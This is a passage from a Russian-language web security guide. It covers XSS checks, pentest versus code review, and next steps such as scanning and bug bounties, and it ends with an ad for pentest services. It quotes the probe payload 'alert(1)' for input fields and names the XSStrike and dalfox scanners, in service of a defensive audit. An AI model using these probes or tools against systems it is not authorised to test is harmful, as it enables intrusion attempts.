alert(1)
во все поля ввода
Автоматически: используйте XSStrike или dalfox
Проверьте reflected, stored и DOM-based векторы
Что важнее: пентест или код-ревью?
Оба критичны. Код-ревью находит логические ошибки, пентест — реальные векторы атак. Идеально проводить оба.
Заключение
Безопасность веб-приложений — это непрерывный процесс, требующий комплексного подхода. Регулярные пентесты, обновление компонентов, обучение команды и следование best practices помогут минимизировать риски.
Следующие шаги:
Проведите аудит вашей инфраструктуры по чек-листу выше
Настройте автоматическое сканирование уязвимостей
Внедрите процесс Security Code Review
Запустите Bug Bounty программу
Нужна профессиональная проверка безопасности? Обратитесь к сертифицированным специалистам для проведения комплексного пентеста вашей инфраструктуры.